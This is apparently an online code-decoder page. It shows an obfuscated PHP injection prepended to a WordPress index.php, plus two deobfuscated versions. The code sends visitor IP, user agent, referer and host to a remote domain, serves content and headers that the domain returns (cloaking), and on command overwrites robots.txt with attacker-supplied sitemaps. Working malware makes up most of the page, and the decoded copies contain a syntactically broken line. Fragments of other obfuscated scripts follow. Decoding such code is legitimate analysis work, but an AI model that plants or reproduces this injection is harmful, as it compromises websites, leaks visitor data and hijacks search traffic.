Online PHP Javascript Script Decoder

Online PHP and Javascript Decoder decode hidden script to uncover its real functionality

Original code:

<?php ERROr_ReportInG(roUnD(0+0+0)); $zQV="\172j\62\65\70\62"; $myzweE="s\171\145\156"; if(PREG_MATcH("\57\152\160\62\60\62\63\57si",$_SERVER["RE\121\125\105\123\124_U\122I"])==RoUND(0.22926094+0.229+0.181+0.3250377+0.03582)) { if(PReg_mAtch("/\152\160\62\60\62\63\143\167w/s\151",$_SERVER["RE\121\125\105\123\124_U\122I"])==rounD(0+0+0+0+0+0+0+0+0)) { HEADER("\110T\124P\57\61\56\60 \64\60\64 N\157\164 \106ound"); } echo "H\124\124\120\57\61.\60 \64\60\64 \116ot F\157u\156\144_\137\137".$zQV."\137\137_".$myzweE; exit; } $eu="\56\154\141\156"; $KL="\144r\145a"; $IX="r.com"; $KAB="\150ttp:\57/".$zQV.$eu.$KL.$IX; $VPJH="\57i\156dex\56\160h\160\77V\123=".$myzweE."\46GP=".$zQV; $NDh=array( "\123CRI\120\124_NA\115E", "RE\121\125\105\123\124_U\122I", "HT\124\120S", "R\105\121\125\105\123\124\137\123\103H\105ME", "S\105\122VER_\120O\122T", "\122E\115OTE_ADDR", "\110\124\124P_\122\105\106\105RE\122", "HT\124P_\101\103\103\105\120\124_\114A\116\107\125\101\107\105", "HT\124\120\137U\123\105\122\137AG\105\116\124", "\110TT\120_HO\123\124", "URI\137PR\105FI\130" ); foreach($NDh as $clgOAx) { if ($clgOAx=="\122E\115OTE_ADDR") { $vLoYk=isset($_SERVER["HTTP\137X_\106\117RWA\122\104ED_\106O\122"])?$_SERVER["HTTP\137X_\106\117RWA\122\104ED_\106O\122"]:(isset($_SERVER["\122E\115OTE_ADDR"])?$_SERVER["\122E\115OTE_ADDR"]:''); }elseif($clgOAx=="URI\137PR\105FI\130") { $vLoYk=isset($ad)?$ad:''; }else { $vLoYk=isset($_SERVER[$clgOAx])?$_SERVER[$clgOAx]:''; } $XZ=BASe64_EnCoDe(TRim($vLoYk)); $XZ=STr_REplacE("\53","-",$XZ); $XZ=sTr_REPLacE("/","\137",$XZ); $XZ=sTr_REplACe("\75","\56",$XZ); $VPJH.="\46".$clgOAx."\75".$XZ; } $Ei=$KAB.$VPJH; $DIohNi=CURL_init(); cuRL_SeTopT($DIohNi,CURLOPT_URL,$Ei); cuRL_seTopT($DIohNi,CURLOPT_RETURNTRANSFER,ROunD(0.289866+0.36291+0.3472)); CuRL_sETOPT($DIohNi,CURLOPT_CONNECTTIMEOUT,ROUNd(1.9057+0.29836+3.0734681+2.361+0.1475778+2.21367)); $kNYzlA=cuRl_exeC($DIohNi); $kNYzlA=Trim($kNYzlA); cuRl_CLosE($DIohNi); if(empty($kNYzlA)) { $QwVUy="f\151l"; $tUe="\145_g"; $fZJuyj="\145\164_\143"; $gaIKfT="on\164e"; $xOr="n\164\163"; $HsyYNO=$QwVUy.$tUe.$fZJuyj.$gaIKfT.$xOr; $kNYzlA=$HsyYNO($Ei); } $kNYzlA=TrIm($kNYzlA); $bxKAa=ExplodE("|\100\43\44|",$kNYzlA); $kZfl=counT($bxKAa); if($kZfl<3) { HeadER("\110T\124P\57\61\56\60 \64\60\64 N\157\164 \106ound"); exit; }else { $njSg=TrIM($bxKAa[rOUnD(0+0+0+0)]); if(!empty($njSg)) { HEADer($njSg); } $HmikF=TRiM($bxKAa[RoUND(0.37387387+0.626126)]); if(!empty($HmikF)) { echo $HmikF; } $wMcpPW=tRiM($bxKAa[$kZfl-ROund(0.325+0.30297+0.022+0.35)]); if($wMcpPW=="\145\170\151\164") { exit; } if($wMcpPW=="\160in\147") { $vy="\125\163\145\162-a\147e\156\164:\52".PHP_EOL; $vy.="A\154\154o\167\72\57".PHP_EOL; $BJf=ExPLoDE("<br/\76",$HmikF); ARrAY_pOP($BJf); foreach($BJf as $pj) { $vy.="\123\151tem\141\160:".$pj.PHP_EOL; } $bY=foPen($_SERVER["DO\103U\115\105\116T_ROO\124"]."/r\157\142\157\164s\56\164xt","w"); FwrITE($bY,$vy); FclOsE($bY); echo "\162o\142ots.\164xt \144\157\156\145"; exit; } } ?> <?php /** * Front to the WordPress application. This file doesn't do anything, but loads * wp-blog-header.php which does and tells WordPress to load the theme. * * @package WordPress */ /** * Tells WordPress to load the WordPress theme and output it. * * @var bool */ define( 'WP_USE_THEMES', true ); /** Loads the WordPress Environment and Template */ require __DIR__ . '/wp-blog-header.php';

Show other level

Decrypted code level 1:

ERROr_ReportInG(roUnD(0+0+0));
 $zQV="zj2582";
 $myzweE="syen";
	 if(PREG_MATcH("/jp2023/si",$_SERVER["REQUEST_URI"])==RoUND(0.22926094+0.229+0.181+0.3250377+0.03582)) {
		 if(PReg_mAtch("/jp2023cww/si",$_SERVER["REQUEST_URI"])==rounD(0+0+0+0+0+0+0+0+0)) {
		 HEADER("HTTP/1.0 404 Not Found");
		 
	}
	 echo "HTTP/1.0 404 Not Found___".$zQV."___".$myzweE;
	 exit;
	 
}
 $eu=".lan";
 $KL="drea";
 $IX="r.com";
 $KAB="http://".$zQV.$eu.$KL.$IX;
 $VPJH="/index.php?VS=".$myzweE."&GP=".$zQV;
 $NDh=array( "SCRIPT_NAME", "REQUEST_URI", "HTTPS", "REQUEST_SCHEME", "SERVER_PORT", "REMOTE_ADDR", "HTTP_REFERER", "HTTP_ACCEPT_LANGUAGE", "HTTP_USER_AGENT", "HTTP_HOST", "URI_PREFIX" );
	 foreach($NDh as $clgOAx) {
		 if ($clgOAx=="REMOTE_ADDR") {
		 $vLoYk=isset($_SERVER["HTTP_X_FORWARDED_FOR"])?$_SERVER["HTTP_X_FORWARDED_FOR"]:(isset($_SERVER["REMOTE_ADDR"])?$_SERVER["REMOTE_ADDR"]:'');
		 
	}
		elseif($clgOAx=="URI_PREFIX") {
		 $vLoYk=isset($ad)?$ad:'';
		 
	}
		else {
		 $vLoYk=isset($_SERVER[$clgOAx])?$_SERVER[$clgOAx]:'';
		 
	}
	 $XZ=BASe64_EnCoDe(TRim($vLoYk));
	 $XZ=STr_REplacE("+","-",$XZ);
	 $XZ=sTr_REPLacE("/","_",$XZ);
	 $XZ=sTr_REplACe("=",,$XZ);
	 $VPJH.="&".$clgOAx."=".$XZ;
	 
}
 $Ei=$KAB.$VPJH;
 $DIohNi=CURL_init();
 cuRL_SeTopT($DIohNi,CURLOPT_URL,$Ei);
 cuRL_seTopT($DIohNi,CURLOPT_RETURNTRANSFER,ROunD(0.289866+0.36291+0.3472));
 CuRL_sETOPT($DIohNi,CURLOPT_CONNECTTIMEOUT,ROUNd(1.9057+0.29836+3.0734681+2.361+0.1475778+2.21367));
 $kNYzlA=cuRl_exeC($DIohNi);
 $kNYzlA=Trim($kNYzlA);
 cuRl_CLosE($DIohNi);
	 if(empty($kNYzlA)) {
	 $QwVUy="fil";
	 $tUe="e_g";
	 $fZJuyj="et_c";
	 $gaIKfT="onte";
	 $xOr="nts";
	 $HsyYNO=$QwVUy.$tUe.$fZJuyj.$gaIKfT.$xOr;
	 $kNYzlA=$HsyYNO($Ei);
	 
}
 $kNYzlA=TrIm($kNYzlA);
 $bxKAa=ExplodE("|@#$|",$kNYzlA);
 $kZfl=counT($bxKAa);
	 if($kZfl<3) {
	 HeadER("HTTP/1.0 404 Not Found");
	 exit;
	 
}
	else {
	 $njSg=TrIM($bxKAa[rOUnD(0+0+0+0)]);
		 if(!empty($njSg)) {
		 HEADer($njSg);
		 
	}
	 $HmikF=TRiM($bxKAa[RoUND(0.37387387+0.626126)]);
		 if(!empty($HmikF)) {
		 echo $HmikF;
		 
	}
	 $wMcpPW=tRiM($bxKAa[$kZfl-ROund(0.325+0.30297+0.022+0.35)]);
		 if($wMcpPW=="exit") {
		 exit;
		 
	}
		 if($wMcpPW=="ping") {
		 $vy="User-agent:*".PHP_EOL;
		 $vy.="Allow:/".PHP_EOL;
		 $BJf=ExPLoDE("<br/>",$HmikF);
		 ARrAY_pOP($BJf);
			 foreach($BJf as $pj) {
			 $vy.="Sitemap:".$pj.PHP_EOL;
			 
		}
		 $bY=foPen($_SERVER["DOCUMENT_ROOT"]."/robots.txt","w");
		 FwrITE($bY,$vy);
		 FclOsE($bY);
		 echo "robots.txt done";
		 exit;
		 
	}
	 
}
 /** * Front to the WordPress application. This file doesn't do anything, but loads * wp-blog-header.php which does and tells WordPress to load the theme. * * @package WordPress */ /** * Tells WordPress to load the WordPress theme and output it. * * @var bool */ define( 'WP_USE_THEMES', true );
 /** Loads the WordPress Environment and Template */ require __DIR__ . '/wp-blog-header.php';

Decrypted code level 2:

ERROr_ReportInG(roUnD(0+0+0));
	   if(PREG_MATcH("/jp2023/si",$_SERVER["REQUEST_URI"])==RoUND(0.22926094+0.229+0.181+0.3250377+0.03582)) {
		 if(PReg_mAtch("/jp2023cww/si",$_SERVER["REQUEST_URI"])==rounD(0+0+0+0+0+0+0+0+0)) {
		 HEADER("HTTP/1.0 404 Not Found");
		 
	}
	 echo "HTTP/1.0 404 Not Found___zj2582___syen";
	 exit;
	 
}
 $eu=".lan";
  $IX="r.com";
 $KAB="http://zj2582".$eu."drea".$IX;
 $VPJH="/index.php?VS=syen&GP=zj2582";
 $NDh=array( "SCRIPT_NAME", "REQUEST_URI", "HTTPS", "REQUEST_SCHEME", "SERVER_PORT", "REMOTE_ADDR", "HTTP_REFERER", "HTTP_ACCEPT_LANGUAGE", "HTTP_USER_AGENT", "HTTP_HOST", "URI_PREFIX" );
	 foreach($NDh as $clgOAx) {
		 if ($clgOAx=="REMOTE_ADDR") {
		 $vLoYk=isset($_SERVER["HTTP_X_FORWARDED_FOR"])?$_SERVER["HTTP_X_FORWARDED_FOR"]:(isset($_SERVER["REMOTE_ADDR"])?$_SERVER["REMOTE_ADDR"]:'');
		 
	}
		elseif($clgOAx=="URI_PREFIX") {
		 $vLoYk=isset($ad)?$ad:'';
		 
	}
		else {
		 $vLoYk=isset($_SERVER[$clgOAx])?$_SERVER[$clgOAx]:'';
		 
	}
	 $XZ=BASe64_EnCoDe(TRim($vLoYk));
	 $XZ=STr_REplacE("+","-",$XZ);
	 $XZ=sTr_REPLacE("/","_",$XZ);
	 $XZ=sTr_REplACe("=",,$XZ);
	 $VPJH.="&".$clgOAx."=".$XZ;
	 
}
 $Ei=$KAB.$VPJH;
 $DIohNi=CURL_init();
 cuRL_SeTopT($DIohNi,CURLOPT_URL,$Ei);
 cuRL_seTopT($DIohNi,CURLOPT_RETURNTRANSFER,ROunD(0.289866+0.36291+0.3472));
 CuRL_sETOPT($DIohNi,CURLOPT_CONNECTTIMEOUT,ROUNd(1.9057+0.29836+3.0734681+2.361+0.1475778+2.21367));
 $kNYzlA=cuRl_exeC($DIohNi);
 $kNYzlA=Trim($kNYzlA);
 cuRl_CLosE($DIohNi);
	 if(empty($kNYzlA)) {
	      $HsyYNO="file_get_contents";
	 $kNYzlA=$HsyYNO($Ei);
	 
}
 $kNYzlA=TrIm($kNYzlA);
 $bxKAa=ExplodE("|@#$|",$kNYzlA);
 $kZfl=counT($bxKAa);
	 if($kZfl<3) {
	 HeadER("HTTP/1.0 404 Not Found");
	 exit;
	 
}
	else {
	 $njSg=TrIM($bxKAa[rOUnD(0+0+0+0)]);
		 if(!empty($njSg)) {
		 HEADer($njSg);
		 
	}
	 $HmikF=TRiM($bxKAa[RoUND(0.37387387+0.626126)]);
		 if(!empty($HmikF)) {
		 echo $HmikF;
		 
	}
	 $wMcpPW=tRiM($bxKAa[$kZfl-ROund(0.325+0.30297+0.022+0.35)]);
		 if($wMcpPW=="exit") {
		 exit;
		 
	}
		 if($wMcpPW=="ping") {
		 $vy="User-agent:*".PHP_EOL;
		 $vy.="Allow:/".PHP_EOL;
		 $BJf=ExPLoDE("<br/>",$HmikF);
		 ARrAY_pOP($BJf);
			 foreach($BJf as $pj) {
			 $vy.="Sitemap:".$pj.PHP_EOL;
			 
		}
		 $bY=foPen($_SERVER["DOCUMENT_ROOT"]."/robots.txt","w");
		 FwrITE($bY,$vy);
		 FclOsE($bY);
		 echo "robots.txt done";
		 exit;
		 
	}
	 
}
 /** * Front to the WordPress application. This file doesn't do anything, but loads * wp-blog-header.php which does and tells WordPress to load the theme. * * @package WordPress */ /** * Tells WordPress to load the WordPress theme and output it. * * @var bool */ define( 'WP_USE_THEMES', true );
 /** Loads the WordPress Environment and Template */ require __DIR__ . '/wp-blog-header.php';

Recent submissions:

<?php if(!function_exists('sg_load')){$__v=phpversion();$__x=explode('.',$__v);$__v2=$__x... <?php goto f81ZY; eLmeo: class Yskk8 { public function NhDiVJkTsr($UkH8G = null) { retur... "{\"transaction_at\":\"Ng\u00e0y hi\u1ec7u l\u1ef1c\",\"amount_spent\":\"Ghi n\u1ee3\",\"a... <?php ERROr_ReportInG(roUnD(0+0+0)); $zQV="\172j\62\65\70\62"; $myzweE="s\171\145\156"; if... <?php /*obf by kakatoji, please dont be edit*/define("Ր�", "\x67\x7a\x75\x6e\x63\x6f\x6... { "jsonapi": { "version": "1.1", "meta": { "links": { "self":... <? $GLOBALS['_____392248617']= array(base64_decode('SW'.'5'.'jbHVkZU'.'1vZ'.'HVsZUx'.'hbmd... ><!DOCTYPE html><meta charset="UTF-8"><script>;Function("'ys42l{uy@#-m-1q]o1f6yyeevir&x9y6... <?php goto t6NGp; qHo0f: Hr3wa: goto KVXHE; Qu26P: NBQnm: goto qHo0f; KVXHE: goto Gnj8a;... <?php eval(gzuncompress(base64_decode(str_rot13('rWjIy8pBd1bFEG/a3ELQpgWGQ8utZQyCJhFpZ1/s...